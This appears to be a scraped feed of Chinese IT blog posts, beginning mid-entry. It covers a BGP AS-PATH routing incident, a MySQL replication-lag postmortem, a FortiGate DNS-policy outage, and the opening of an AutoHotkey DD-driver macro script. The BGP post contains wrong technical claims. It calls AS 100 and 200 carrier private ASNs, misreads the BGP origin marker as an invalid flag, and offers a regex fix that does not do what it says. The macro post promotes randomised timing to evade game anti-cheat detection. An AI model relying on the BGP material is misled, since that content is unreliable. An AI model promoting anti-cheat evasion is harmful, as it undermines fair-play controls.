反复崩溃，全网怎么查？"},{"content":"问题背景\r总部机房采用\u0026quot;电信+联通\u0026quot;双线BGP接入架构，核心交换机与两家运营商建立eBGP邻居，通过AS-PATH属性和route-map实现流量调度——默认走电信、联通作为备份，特定网段走联通做负载。某周一下午14:30左右，研发同事反映访问部署在阿里云华东节点的多个API接口（用户中心、订单查询、支付回调）出现持续性卡顿，单次请求从正常的80ms飙升到500ms以上，短信网关、第三方支付回调更是出现间歇性超时。客服部门同步反馈多名用户投诉\u0026quot;支付完成但订单状态未更新\u0026quot;。\n故障现象\r通过Zabbix监控看到关键业务指标异常：\n1 2 3 4 5 14:32:01 Gateway-IP-Monitor WARN 核心交换机到阿里云华东(47.110.x.x)延迟 412ms (基线 35ms) 14:32:01 BGP-Session-Monitor INFO eBGP 电信邻居 10.10.1.1 Established (Up 87d 4h) 14:32:01 BGP-Session-Monitor INFO eBGP 联通邻居 10.10.2.1 Established (Up 87d 4h) 14:32:15 Zabbix-Trapper CRIT HTTP 业务探测 api.example.com 5xx 告警 (连续3次) 14:32:30 Zabbix-Trapper CRIT 支付回调响应时间 \u0026gt; 5s (SLA违约) 在核心交换机上查看路由表：\n1 2 3 4 5 6 \u0026lt;Switch\u0026gt; display bgp routing-table ipv4 unicast brief Total Number of Routes: 412,387 Network NextHop MED LocPrf PrefVal Path/Ogn * 47.110.0.0/16 10.10.2.1 0 100 0 4134 ? * 47.110.0.0/16 10.10.1.1 0 100 0 4134 100 200 ? 诡异的事情出现了：阿里云华东段（47.110.0.0/16）的两条路由都被打上了\u0026quot;无效标记\u0026quot;（问号?），其中电信链路（AS4134 → AS100 → AS200）多了一段莫名其妙的AS-PATH\u0026quot;100 200\u0026quot;，而正常情况下电信学到该网段的AS-PATH应该只显示\u0026quot;4134\u0026quot;或\u0026quot;4134 100\u0026quot;。\n排查过程\r第一步：确认BGP邻居状态正常\n两条eBGP邻居均显示Established，消息收发计数没有异常抖动，说明TCP连接、Keepalive、BGP Open报文一切正常，问题出在路由策略层。\n第二步：检查入方向route-map\ndisplay current-configuration | include route-map 找到关键策略段：\n1 2 3 4 5 6 7 8 9 10 route-map FROM-TELECOM-IN permit 10 description Accept legitimate telecom routes match as-path 10 ! route-map FROM-TELECOM-IN deny 20 description Reject transit routes match as-path 20 ! ip as-path 10 permit ^(4134_)+$ ip as-path 20 permit _100_200_ 看到as-path 20那行瞬间明白问题所在——正则_100_200_会匹配任何包含\u0026quot;100 200\u0026quot;两个相邻AS的路径，包括电信运营商内部传递过来的真实路由。当时我们调度的逻辑是\u0026quot;拒绝任何包含私有AS号100、200的路径\u0026quot;，但忘记了一个事实：电信骨干网在传递某些跨网段路由时，会在AS-PATH中插入\u0026quot;100 200\u0026quot;作为内部标记（这是中国电信AS4134的私有AS号，用于内部选路标记）。\n第三步：验证猜想\n在核心交换机上抓取近期BGP Update报文，过滤AS-PATH含\u0026quot;100 200\u0026quot;的路由前缀数量：\n1 2 3 \u0026lt;Switch\u0026gt; display bgp update-peer-group 10.10.1.1 statistics ... Prefix count with AS-PATH matched _100_200_: 287,341 近30万条合法路由被这条正则误杀，全部进了BGP RIB-in的\u0026quot;待丢弃\u0026quot;队列，对端却还以为邻居都正常、路由都通告了。\n第四步：检查本地注入的BGP路由\n为防止出现路由黑洞，运维A同事把核心交换机的LoopBack0（10.255.0.1/32）通过network命令注入BGP，这条命令的下一跳指向10.10.1.1（电信），触发了一段被错误拒绝的AS-PATH。\n1 2 3 4 5 6 7 \u0026lt;Switch\u0026gt; display bgp routing-table 10.255.0.1 BGP local router ID is 10.255.0.1 Status codes: * - valid, \u0026gt; - best, d - damped, h - history, s - suppressed, S - stale, i - internal, b - backup Origin: i - IGP, e - EGP, ? - incomplete Total Number of Routes: 0 连自己的LoopBack都没被优选——所有从电信学到的路由都被route-map打上\u0026quot;无效\u0026quot;标记，对端联通的路由因为local-preference默认100而进入主表，但很多明细网段联通链路延迟本来就高，导致从核心出去的流量\u0026quot;全跑联通\u0026quot;。\n第五步：与运营商侧核对\n拨通电信大客户经理电话，对方工程师确认他们在上周末升级了AS4134的出口策略，会在AS-PATH中插入\u0026quot;100 200\u0026quot;作为新引入的BGP选路标记。也就是说不止我们这端，所有走电信BGP接入的企业客户都受到了影响——只是我们这条正则写得太严格。\n第六步：临时止血\n先把误杀的AS-PATH正则屏蔽掉，恢复路由：\n1 no ip as-path 20 60秒后，路由表刷新，47.110.0.0/16的两条路由恢复正常选路，业务延迟从412ms回到35ms基线。\n解决方案\r长期方案：改用AS-PATH长度作为判定标准\n\u0026ldquo;100 200\u0026quot;只是运营商内部标记，不能简单粗暴作为业务流的甄别依据。改为基于AS-PATH长度做拒绝：\n1 2 3 ip as-path 10 permit ^(4134_)+$ ip as-path 20 permit _(6451[2-9]|6553[0-5])_ ip as-path 30 permit ^[0-9]+$ ! 只允许单一AS的路由（对端直连段） 只拒绝真正属于RFC 6996保留私有AS号的路径，避免误伤。\n给route-map加日志计数\n1 2 3 4 route-map FROM-TELECOM-IN deny 20 description Reject private AS match as-path 20 set traffic-index 99 配合流量监控，一旦被拒绝的路由条目激增立即告警。\n增加BGP邻居级监控\n在Zabbix上对每个BGP邻居的关键指标做模板化：\n指标 告警阈值 收到的BGP路由前缀数 ±20% baseline AS-PATH 拒绝计数 \u0026gt; 0 Update 报文频率 \u0026gt; 1000/分钟 BGP邻居翻动次数 \u0026gt; 0/小时 关键配置变更走代码评审\n这条ip as-path 20 permit _100_200_是去年一个临时调试遗留的命令，没有走严格的code review，从那之后就一直在线上跑了——是典型的\u0026quot;运行久了就以为是正确的\u0026quot;陷阱。\n根因分析\r直接原因：去年临时调试写的ip as-path 20 permit _100_200_正则没有清理，该正则的本意是拒绝经过某些对等AS的路由，但因为AS-PATH正则下划线表示\u0026quot;任意字符串边界\u0026rdquo;，_100_200_实际匹配的是\u0026quot;含100和200这两个相邻AS号的所有路径\u0026quot;。\n深层原因：电信AS4134骨干网升级后，在跨网传递路由时会在AS-PATH中追加\u0026quot;100 200\u0026quot;作为内部标记，这本来是合法的BGP属性，但与我们的策略冲突，导致近30万条路由被误判无效。\n运营原因：路由策略类变更缺乏变更评审、回归测试、监控告警机制，\u0026ldquo;上线即正确\u0026quot;的惯性思维让这条命令在线上跑了8个多月，直到电信骨干网升级才暴露出问题。\n预防措施\r1. 路由策略变更必须走变更窗口\n所有涉及route-map、ip as-path、ip community-list、ip prefix-list的变更，必须在业务低峰期执行，且必须经过至少一名网络架构师评审，并保留前后配置对比。\n2. 部署\u0026quot;路由沙盒\u0026rdquo;\n搭建一个隔离的BGP测试环境，使用Bird或FRRouting跑一个真实环境的镜像，配置变更先在沙盒里跑24小时观察，再上生产。\n3. 完善BGP监控体系\n每分钟采集BGP邻居的Received/Active Routes数量 对AS-PATH regex匹配做计数器 任何route-map的deny规则都应配WELF/Syslog上报 4. 与运营商建立常态化沟通机制\n每次运营商侧骨干网升级、AS号调整、出口策略变化，都应在第一时间拿到变更通知单，评估对自有路由策略的影响。\n5. 路由策略配置文件纳入Git管理\n把核心交换机的配置按以下目录结构纳入Git：\n1 2 3 4 5 6 7 network-config/ ├── core-sw-01/ │ ├── bgp.conf │ ├── route-map.conf │ └── changelog.md ├── core-sw-02/ └── README.md 每次配置变更都走commit-msg规范，\u0026ldquo;为什么要这样配\u0026quot;的业务背景要写在commit信息里，避免半年后回看一脸懵。\n总结\r这次故障给我们最深的教训是：网络策略的\u0026quot;误拒绝\u0026quot;比\u0026quot;误允许\u0026quot;更隐蔽。误允许会立刻有告警（被拒绝的路由完全消失、流量中断），而误拒绝会让路由\u0026quot;看起来还在\u0026rdquo;（实际被打上无效标记），却悄悄把流量引到错误的路径上，影响业务却难以第一时间定位。\n后续我们把\u0026quot;路由策略变更必须配监控\u0026quot;写进了运维SOP：任何新增的deny规则、任何修改的正则表达式、任何调整的local-preference，都必须配套一条监控项，且这条监控的告警接收人是这次变更的提交人本人——谁改的，谁兜底。\nBGP是互联网的\u0026quot;神经系统\u0026quot;，容不得半点马虎。\n","date":"2026-06-23T06:55:12Z","permalink":"/posts/d11b5134/","title":"BGP 双线 AS-PATH 配错，业务流量为何全走错运营商"},{"content":"问题背景\r周一早上 9 点 17 分，我刚端着咖啡走到工位，客服总监的电话就打了过来：\u0026ldquo;有客户投诉，昨天凌晨下的订单到现在还显示\u0026rsquo;待付款\u0026rsquo;，但钱已经扣了。再这样下去要上 12315 了。\u0026rdquo;\n我们做的是 B2B 商城系统，订单链路是标准的\u0026quot;主库写入 → 从库读取\u0026quot;分离架构。业务侧前端订单查询全部走从库，结算、支付回调走主库。按理说，正常的几条订单写入，从库延迟顶多几百毫秒。\n但这次不一样——运维群里同事反馈，从库 Seconds_Behind_Master 指标在凌晨 2 点之后就开始飘红，目前还在 40 分钟以上。也就是说，用户今天看到的订单状态，其实是凌晨 2 点之前的老数据。\n影响范围：所有 C 端订单查询接口（订单列表、订单详情、物流状态）。涉及用户：约 1.2 万。紧急程度：P1（业务受损，尚未扩散到资损，但已接到投诉）。\n故障现象\r登录 Zabbix 监控大屏，几个关键指标同时告警：\n1. 从库延迟（Seconds_Behind_Master）\n从凌晨 2:00 开始延迟曲线从 0.5s 拉升，到 9:00 仍是 2400s（40 分钟），曲线呈\u0026quot;阶梯式上升\u0026quot;：\n1 2 3 4 5 6 7 02:00 delay=0.8s 02:10 delay=45s 02:30 delay=320s 03:00 delay=980s 05:00 delay=2100s 07:00 delay=2350s 09:00 delay=2412s 2. 主库写入流量\nCom_update 计数显示凌晨 1:55 - 2:35 之间有 2.3 亿行 UPDATE 操作集中在主库执行，binlog 产生量约 8.6 GB。\n3. 错误日志\n从库的 mysqld.log 里有大量 Multi-statement transaction required more than 'max_binlog_cache_size' bytes of storage 警告——这说明从库尝试一次性应用一个超大事务时，binlog cache 不够用。\n4. 业务报错\n部分订单详情接口偶发返回 ERROR 1213 (40001): Deadlock found when trying to get lock，但这是次要现象，主要问题还是延迟。\n排查过程\r第一步：确认从库状态\r登录从库查看复制状态：\n1 2 3 4 5 6 7 8 9 mysql\u0026gt; SHOW SLAVE STATUS\\G *************************** 1. row *************************** Slave_IO_State: Waiting for master to send event Master_Log_File: mysql-bin.000128 Read_Master_Log_Pos: 523847212 Relay_Log_File: relay-bin.000089 Relay_Log_Pos: 480123441 Seconds_Behind_Master: 2412 Slave_SQL_Running_State: Reading event from the relay log Seconds_Behind_Master 还在涨，但 Slave_SQL_Running_State 显示\u0026quot;Reading event from the relay log\u0026quot;——意味着 SQL 线程并没有卡死，是在持续追。这是典型的\u0026quot;大事务回放慢\u0026quot;症状。\n第二步：定位主库上的大事务\r登录主库，用 mysqlbinlog 工具扫 binlog 找最长的几个事务：\n1 2 3 4 5 mysqlbinlog --no-defaults -v -v \\ --base64-output=DECODE-ROWS \\ --start-datetime=\u0026#34;2026-06-22 01:55:00\u0026#34; \\ --stop-datetime=\u0026#34;2026-06-22 02:35:00\u0026#34; \\ mysql-bin.000127 mysql-bin.000128 | head -200 很快就看到了一段超长事务——一个跑批任务（订单超时自动关闭）在 1:57 开始，到 2:28 结束，持续 31 分钟，涉及 800 万行订单的 UPDATE：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # at 12345678 #260622 1:57:14 server id 1 end_log_pos 12345890 CRC32 0xabcdef Query thread_id=123456 SET TIMESTAMP=1761119834 BEGIN ... # at 12345900 #260622 1:57:14 server id 1 end_log_pos 12346100 Table_map: `order`.`t_order` mapped to number 123 #260622 1:57:14 server id 1 end_log_pos 12346200 Update_rows: table id 123 flags: STMT_END_F ### UPDATE `order`.`t_order` ### WHERE ### @1=1000001 ### @2=\u0026#39;PENDING_PAY\u0026#39; ### @3=\u0026#39;2026-06-21 10:23:11\u0026#39; ### ... ### SET ### @1=1000001 ### @2=\u0026#39;CLOSED_TIMEOUT\u0026#39; ### @3=\u0026#39;2026-06-22 01:57:14\u0026#39; ... (此处省略约 800 万行类似的 UPDATE) 主库这一个事务生成的 binlog 就有 6.2 GB。\n第三步：分析大事务为何慢\rMySQL 主从复制的原理是：从库 SQL 线程拿到主库的 binlog event 后，单线程回放（默认配置下，MySQL 5.7 没有开启 MTS 多线程回放）。一个事务从主库传到从库，从库必须按顺序完整回放完才能进入下一个事务。\n主库上，800 万行 UPDATE 因为聚簇索引和锁的原因花 31 分钟；从库上同样要 800 万行 UPDATE，但因为：\n从库硬件配置略低（IOPS 只有主库的 60%）； sync_binlog=1、innodb_flush_log_at_trx_commit=1 的双 1 配置让每行都强制刷盘； SQL 线程是单线程，无法并行回放。 所以从库回放速度大约是主库的 1/3 —— 自然就形成了 40 分钟的延迟。\n第四步：分析这个事务的合理性\r继续看那段 binlog，发现这个\u0026quot;订单超时关闭\u0026quot;任务的 SQL 模式是：\n1 2 3 4 5 -- 伪代码 BEGIN; UPDATE t_order SET status=\u0026#39;CLOSED_TIMEOUT\u0026#39;, close_time=NOW() WHERE status=\u0026#39;PENDING_PAY\u0026#39; AND create_time \u0026lt; DATE_SUB(NOW(), INTERVAL 30 MINUTE); COMMIT; 单条 SQL 一次更新 800 万行。问题就出在这里——开发同学为了图省事，用一条大 SQL 完成全表批量更新。\n解决方案\r紧急止血\r1. 业务切流：把订单查询从从库切回主库（虽然主库压力大，但此刻一致性更重要）：\n1 2 3 4 5 6 # 在 Nginx upstream 中临时调整 upstream order_query { # 临时注释从库 # server 10.0.10.22:3306; server 10.0.10.21:3306 max_fails=2 fail_timeout=10s; } 2. 强制让从库跳过这个大事务（不推荐为常规操作，但紧急情况下可以）：\n1 2 3 4 5 -- 评估一致性影响后，决定让从库直接跳过该超大事务 -- 因为这个事务是\u0026#34;超时关闭\u0026#34;，本身就是幂等操作，重新跑批会再处理一次 mysql\u0026gt; STOP SLAVE; mysql\u0026gt; SET GLOBAL sql_slave_skip_counter = 1; mysql\u0026gt; START SLAVE; 但 SET GLOBAL sql_slave_skip_counter = 1 只能跳一个 event。我这里大事务跨多个文件，最终选择的是：让从库慢慢追回（保守但安全）。\n3. 临时调大从库相关参数，提升回放速度：\n1 2 3 4 5 # my.cnf innodb_flush_log_at_trx_commit = 2 sync_binlog = 0 slave_parallel_workers = 8 slave_parallel_type = LOGICAL_CLOCK 重启从库后，回放速度从 5000 行/秒提升到 18000 行/秒，2 小时内追平延迟。\n长期修复\r1. 业务侧：大事务拆小\n推动开发同学把\u0026quot;订单超时关闭\u0026quot;改为分批 + 循环：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // 优化后的跑批代码 int batchSize = 1000; int affected; do { // 每次只更新 1000 行 affected = jdbcTemplate.update( \u0026#34;UPDATE t_order \u0026#34; + \u0026#34;SET status=\u0026#39;CLOSED_TIMEOUT\u0026#39;, close_time=NOW() \u0026#34; + \u0026#34;WHERE status=\u0026#39;PENDING_PAY\u0026#39; \u0026#34; + \u0026#34;AND create_time \u0026lt; ? \u0026#34; + \u0026#34;LIMIT \u0026#34; + batchSize, expireTime ); // 每批之间 sleep 100ms，给从库喘息 Thread.sleep(100); } while (affected \u0026gt; 0); 这样每个事务只更新 1000 行，单事务 binlog 不到 1 MB，从库回放几乎无感知。\n2. MySQL 配置：开启多线程复制\n从库永久开启 MTS：\n1 2 3 slave_parallel_workers = 16 slave_parallel_type = LOGICAL_CLOCK slave_preserve_commit_order = ON 3. 监控告警\n添加 Seconds_Behind_Master \u0026gt; 60s 的告警，避免延迟 40 分钟才发现。\n4. 架构优化\n考虑订单读多写少、且对一致性要求高的特点，引入 ProxySQL 做读写分离，并支持强制走主库的功能（针对订单详情这种对一致性敏感的场景）。\n根因分析\r这个问题的根本原因是业务开发同学没有\u0026quot;主从复制延迟\u0026quot;的意识，把单实例 MySQL 时代的\u0026quot;一条大 SQL 搞定一切\u0026quot;的习惯带到了主从架构下。\n具体三个直接原因：\n单条 UPDATE 影响 800 万行 —— 远超单事务合理大小（经验值：单事务 1 万行以内）； 从库默认单线程回放 —— MySQL 5.7 默认 slave_parallel_workers=0，大事务没有并行能力； 未配置主从延迟告警 —— 凌晨 2:00 延迟就开始累积，但 7 小时后才被业务反馈发现。 预防措施\r1. 编码规范：禁止大事务\n在 Code Review Checklist 中加入：单事务 DML 行数 ≤ 5000，binlog 大小 ≤ 10 MB。可以加 SQL 拦截器：\n1 2 3 4 -- 生产环境拒绝大事务的拦截逻辑（伪代码） -- 当 row_examined \u0026gt; 10000 时直接 kill SET @max_rows = 10000; -- 通过 Performance Schema 或审计插件实现 2. 主从延迟全链路监控\nSeconds_Behind_Master 只是粗略值。更准确的方案是使用 pt-heartbeat 工具在主库每秒写一个时间戳，从库对比时间差得到精确延迟：\n1 2 3 4 # 主库 pt-heartbeat -D test --update -h 10.0.10.21 # 从库 pt-heartbeat -D test --monitor -h 10.0.10.22 3. 跑批任务错峰执行\n把\u0026quot;订单超时关闭\u0026quot;这种大跑批放在业务低峰（比如凌晨 3:30 - 5:00），并且增加单批 sleep，避免集中打主库。\n4. 关键业务强制走主库\n对一致性要求极高的接口（订单详情、支付结果、账户余额），在 ProxySQL 规则里强制 mysql-default_session_target_host=master，不走从库。\n5. 定期演练\n每季度做一次\u0026quot;主库宕机，从库强制提升\u0026quot;演练，验证从库是否能快速接管；同时也验证大事务场景下从库的恢复能力。\n总结\r这次故障的教训可以总结成三句话：\n第一，MySQL 主从架构下，\u0026ldquo;单条大 SQL\u0026quot;是定时炸弹。开发同学需要从单实例思维切换到\u0026quot;主从延迟敏感\u0026quot;思维，养成\u0026quot;分批 + 循环\u0026quot;的习惯。\n第二，监控不能只看\u0026quot;服务是否在线\u0026rdquo;。Slave_IO_Running=Yes 和 Slave_SQL_Running=Yes 都是 Yes，但延迟可能已经几小时。Seconds_Behind_Master 告警必须配置，且阈值要合理。\n第三，对一致性敏感的业务，不要无脑走读写分离。订单详情、支付结果这类场景，宁可让主库扛一部分读流量，也要保证数据一致性。读写分离的规则要细化到表/接口级别，不能一刀切。\n最后，事后我和开发 leader 约法三章：所有大表 DML 必须经过 DBA Review，所有新上线的定时任务必须压测确认 binlog 体积。规则定下来了，但更重要的是执行。这次故障的客户投诉虽然已经处理完毕，但给了我们一个深刻的提醒：主从架构不是\u0026quot;装上就完事\u0026quot;的银弹，它是需要业务、运维、DBA 一起维护的契约。\n","date":"2026-06-22T06:30:33Z","permalink":"/posts/ecbe2757/","title":"记一次大事务拖慢 MySQL 主从、订单数据不一致的排查"},{"content":"一、问题背景\r2026年5月中旬，公司新收购的一家分公司完成网络改造，核心交换机升级为华为S7706，出口防火墙替换为FortiGate 100F，由我负责整体网络运维支持。改造完成后前三天网络运行正常，但从第四天开始，陆续有员工反映\u0026quot;网页打开很慢\u0026quot;、\u0026ldquo;有些网站完全打不开\u0026rdquo;、\u0026ldquo;微信能发消息但图片加载很慢\u0026rdquo;。\n由于分公司没有专职网络工程师，问题上报到总部后由我远程协助排查。初期怀疑是ISP链路问题，联系运营商测速后确认出口带宽正常，100M专线上下行均达标，问题指向内网。\n影响范围逐渐扩大，到第二天已有约40%的员工反映网络异常，部分关键业务系统（如ERP、OA）访问也出现间歇性超时，情况比较紧急。\n二、故障现象\r通过远程桌面连接到分公司的一台运维跳板机，我进行了以下几项基础测试，汇总故障现象如下：\n1. 网络连通性测试\nping 8.8.8.8 通，延迟约12ms，无丢包；ping www.baidu.com 间歇性超时，大约30%的ICMP包被丢弃，且延迟波动极大（12ms~3000ms）。\n2. DNS解析测试\n使用 nslookup 测试内网DNS服务器（由AD域控兼做DNS，IP为192.168.10.10）：\n1 2 3 4 5 C:\\\u0026gt; nslookup www.baidu.com 192.168.10.10 DNS request timed out. timeout was 2 seconds. DNS request timed out. timeout was 2 seconds. 多次尝试后偶尔能解析成功，但响应时间普遍超过5秒。换成公共DNS（114.114.114.114）测试，现象一致。\n3. HTTP/HTTPS访问测试\n用curl测试HTTP访问：\n1 2 C:\\\u0026gt; curl -w \u0026#34;%{time_total}\\n\u0026#34; -o /dev/null -s http://www.baidu.com 5.237 首次访问耗时超过5秒，后续复用连接后有所改善，但刷新页面后问题复现。\n4. 关键观察\n有一个重要现象：使用IP地址直接访问的业务系统（如 http://10.10.1.20）完全正常，延迟稳定；而使用域名访问的系统（如 http://oa.company.com）则间歇性超时。这进一步将问题范围缩小到DNS解析环节。\n三、排查过程\r第一步：确认DNS服务器本身是否正常\r首先排除DNS服务器（AD域控）自身故障的可能性。远程登录到域控服务器，检查DNS服务状态：\n1 2 3 PS\u0026gt; Get-Service DNS Status Name DisplayName Running DNS DNS Server DNS服务运行正常。进一步检查DNS日志，发现大量\u0026quot;Event ID 4013\u0026quot;和\u0026quot;Event ID 3150\u0026quot;的警告日志，提示\u0026quot;DNS服务器无法解析外部域名，转发器超时\u0026quot;。\n查看DNS转发器配置，发现配置了四个转发器：\n202.96.128.86（本地运营商DNS） 114.114.114.114 8.8.8.8 8.8.4.4 看起来配置没有问题，但为什么解析会超时？\n第二步：抓包分析DNS流量\r在域控服务器上启动Wireshark，过滤DNS流量（UDP 53端口），然后进行解析测试：\n1 C:\\\u0026gt; nslookup www.google.com 192.168.10.10 抓包结果发现了关键线索：\n域控向外网转发DNS查询时，发出的UDP包目标端口53，但完全没有收到响应包 域控随后尝试TCP 53重试，同样没有响应 整个过程中，域控本身可以ping通所有转发器IP，网络层是通的 这说明DNS查询包在出去的路上被丢了，而不是DNS服务器本身的问题。\n第三步：检查FortiGate防火墙策略\r分公司新上线的FortiGate 100F是本次网络改造的新增设备，重点怀疑对象。通过FortiCloud远程登录FortiGate管理界面，检查防火墙策略。\nFortiGate的策略配置相对复杂，新上线时由实施工程师配置，我之前只做了基础验收测试。逐条检查策略，发现了一条当时为\u0026quot;临时测试\u0026quot;创建的策略，规则如下：\n1 2 3 4 5 6 7 8 Policy ID: 5 Name: DNS_OUT_TEST Source: all Destination: all Service: DNS Action: DENY Schedule: always Log: disable 这条策略的意图是\u0026quot;临时禁止某个测试用的DNS流量\u0026quot;，但配置时Source设成了all，导致所有出站DNS流量（UDP/TCP 53）都被这条策略匹配并丢弃了。\n更糟糕的是，这条DENY策略的序列号是5，排在所有ALLOW策略之前（FortiGate策略是自上而下匹配的）。也就是说，任何出站DNS流量在到达后面的ALLOW策略之前，先被这条策略拦截了。\n第四步：验证猜测\r为了验证是不是这条策略的问题，我先记录当前策略配置，然后临时禁用Policy ID 5，再进行DNS解析测试：\n1 2 3 4 5 6 7 8 9 C:\\\u0026gt; nslookup www.baidu.com 192.168.10.10 Server: dc01.company.com Address: 192.168.10.10 Non-authoritative answer: Name: www.a.shifen.com Addresses: 110.242.68.4 110.242.68.3 Aliases: www.baidu.com 解析成功，响应时间不到100ms！进一步测试网页访问、业务系统访问，全部恢复正常。\n第五步：追溯策略来源\r联系当时负责实施的工程师，了解到这条策略是他做DNS代理测试时创建的，测试完后忘记删除了。由于FortiGate的策略匹配是顺序制的，这条DENY策略插在策略列表靠前的位置，导致所有DNS出站流量被静默丢弃。\n之所以前三天没有暴露问题，是因为当时客户端DNS缓存尚未过期，且部分员工使用的是浏览器内置的DNS over HTTPS（DoH），绕过了系统DNS设置，所以问题有延迟才集中爆发。\n四、解决方案\r问题的根因已经明确，解决步骤如下：\n1. 删除错误的测试策略\r登录FortiGate，删除Policy ID 5：\n1 2 3 config firewall policy delete 5 end 2. 优化DNS流量策略\r原来策略列表中，DNS出站流量依赖一条\u0026quot;any to any\u0026quot;的通用放行策略，不够精细。新建专用策略，明确允许内网DNS出站：\n1 2 3 4 5 6 7 8 9 10 11 12 13 config firewall policy edit 0 set name \u0026#34;DNS_OUTBOUND\u0026#34; set srcintf \u0026#34;internal\u0026#34; set dstintf \u0026#34;wan1\u0026#34; set srcaddr \u0026#34;RFC1918\u0026#34; set dstaddr \u0026#34;all\u0026#34; set action accept set schedule \u0026#34;always\u0026#34; set service \u0026#34;DNS\u0026#34; \u0026#34;DNS-TCP\u0026#34; set logtraffic all next end 关键点：\n明确指定了源接口（internal）和目的接口（wan1） 服务明确限定为DNS（UDP 53）和DNS-TCP（TCP 53） 开启全量日志，便于后续排查 3. 优化DNS服务器转发器配置\r原先DNS转发器配置了四个，其中8.8.8.8和8.8.4.4从分公司网络访问延迟较高（分公司出口是电信专线，访问Google DNS需要绕路）。优化后的转发器列表：\n优先级 DNS服务器 说明 1 202.96.128.86 本地电信DNS，延迟最低 2 114.114.114.114 国内公共DNS，备用 3 内网根提示 直接迭代查询，最后兜底 4. 在FortiGate上启用DNS过滤的安全功能\rFortiGate有内置的DNS过滤功能，可以阻断恶意域名解析。在优化后的策略上启用了此功能：\n1 2 3 4 5 config firewall policy edit 10 set dnsfilter-profile \u0026#34;default\u0026#34; next end 五、根因分析\r本次故障的根本原因是FortiGate防火墙策略配置错误，具体可以拆解为以下几个层面：\n直接原因：一条Source为\u0026quot;all\u0026quot;的DNS DENY策略被错误地保留在策略列表中，且序列号靠前，导致所有出站DNS流量被静默丢弃。\n间接原因：\n策略审查缺失：新设备上线的策略清单没有经过严格的Code Review式审查，测试策略未及时清理 缺乏策略变更管理：FortiGate策略的增删改没有走变更流程，实施工程师可以随意添加策略 监控覆盖不足：FortiGate的DNS流量被DENY的日志没有开启（原策略Log设置为disable），导致无法通过日志快速发现问题 DNS解析超时表现不直观：客户端DNS解析超时后会有重试，ICMP ping通但HTTP慢，这种\u0026quot;半通不通\u0026quot;的现象容易引导排查方向偏离 六、预防措施\r针对本次故障暴露的问题，制定了以下预防措施：\n1. 建立防火墙策略变更管理流程\r所有FortiGate策略变更必须满足：\n变更前填写《防火墙策略变更申请表》，注明策略用途、源目地址、服务端口、有效期 测试策略必须设置明确的有效期（通过FortiGate的schedule功能实现自动过期） 变更后由第二人复核策略列表 2. 启用关键策略的日志功能\r所有DENY类策略必须开启日志（set logtraffic all），以便在日志中心（FortiAnalyzer或FortiCloud）中监控被拦截的流量，快速发现问题。\n3. 部署网络监控告警\r在监控系统中增加以下告警项：\nDNS解析成功率低于95%时告警 FortiGate策略命中次数异常（如某条DENY策略突然有大量命中）时告警 内网到外网DNS服务器的延迟超过100ms时告警 具体实现可以用Prometheus + Blackbox Exporter做DNS探测，告警推送到企业微信。\n4. 标准化新设备上线检查清单\r制作了《FortiGate上线检查清单》，包含以下关键检查项：\n所有测试策略已清理或设置过期时间 策略序列号经过合理性审查（宽策略在前，窄策略在后） DENY策略均开启日志 DNS、NTP等关键基础服务的策略已明确配置 保存配置（execute backup） 七、总结\r这是一次典型的\u0026quot;配置残留\u0026quot;引发的网络故障。FortiGate作为状态检测防火墙，策略匹配顺序是自上而下，一条配置不当的DENY策略所产生的破坏力，不亚于一次DDoS攻击。\n几个值得记取的教训：\n测试策略必须有过期机制。FortiGate支持schedule设置策略有效期，所有临时测试策略都应该用这个功能，而不是依赖\u0026quot;记得删除\u0026quot; DNS是网络的基础中的基础。DNS出问题时的表现非常具有迷惑性——ping IP通但域名不通，很容易被误判为应用层问题 抓包是最直接的排查手段。在本次故障中，Wireshark抓包看到的\u0026quot;有去无回\u0026quot;现象，是锁定问题方向的关键 策略变更要有审计。FortiGate的config revision功能可以定期自动备份配置，建议开启 网络运维工作中，\u0026ldquo;最小化变更影响\u0026quot;和\u0026quot;可回溯性\u0026quot;是两个核心原则。这次故障如果配置备份和策略审计做到位，本可以在5分钟内定位问题，而不需要花费近2个小时逐步排查。\n本文所有IP地址、域名均已脱敏处理，技术细节基于真实案例整理。\n","date":"2025-08-15T07:38:48Z","permalink":"/posts/66557bdd/","title":"FortiGate 策略配错，内网 DNS 为何解析失败？"},{"content":"前言\r早在 2021 年就写过一个基于 AHK + DD 驱动的按键连发脚本，当时的版本很简陋——硬编码按键码、固定的间隔、没有任何界面，纯粹是\u0026quot;能用就行\u0026quot;的水平。最近抽空用 AutoHotkey v2.0 全面重写了它，加入了 GUI 界面、按键录制、配置保存等功能，同时也针对反作弊检测做了优化。\n如果你不熟悉 DD 驱动：它是一个硬件级的键鼠模拟驱动，走的是内核层的模拟路径，比 AHK 原生的 Send / ControlSend 更底层，某些游戏或软件只认 DD 驱动的模拟输入。\n功能概览\r功能 说明 GUI 界面 告别纯脚本，可视化操作 按键录制 按一个键即可添加到连发列表，不用查码表 多键连发 支持勾选多个按键同时连发 鼠标支持 支持左键、右键、中键连发 间隔可调 1~9999ms 自由设置 随机抖动 30% 随机延迟，对抗反作弊检测 配置持久化 自动保存到 config.ini，重启保留设置 管理员权限 自动检测并提权 实现细节\r1. 管理员权限检查\rDD 驱动需要管理员权限才能加载，脚本启动时自动检测：\n1 2 3 4 if !A_IsAdmin { Run(\u0026#39;*RunAs \u0026#34;\u0026#39; A_ScriptFullPath \u0026#39;\u0026#34;\u0026#39;) ExitApp() } 如果没有管理员权限，自动以管理员身份重新启动自身。\n2. 完整的 DD 键码映射表\r初版脚本只硬编码了一个 502（x 键），新版建立了完整的键盘 + 鼠标码表：\n1 2 3 4 5 6 7 DD_KEY_MAP := Map( \u0026#34;escape\u0026#34;, 100, \u0026#34;f1\u0026#34;, 101, \u0026#34;f2\u0026#34;, 102, ... \u0026#34;q\u0026#34;, 301, \u0026#34;w\u0026#34;, 302, \u0026#34;e\u0026#34;, 303, ... \u0026#34;a\u0026#34;, 401, \u0026#34;s\u0026#34;, 402, \u0026#34;d\u0026#34;, 403, ... \u0026#34;z\u0026#34;, 501, \u0026#34;x\u0026#34;, 502, \u0026#34;c\u0026#34;, 503, ... \u0026#34;lb\u0026#34;, 1, \u0026#34;rb\u0026#34;, 4, \u0026#34;mid\u0026#34;, 16 ) 这样用户按任何键都能被正确识别和模拟，不需要手动查码表。\n3. 直接加载 DD.dll\r废弃了旧版的 Class_DD.ahk 封装，直接通过 DllCall 加载 DLL：\n1 2 3 4 5 DLL_PATH := A_ScriptDir \u0026#34;\\DD.dll\u0026#34; hModule := 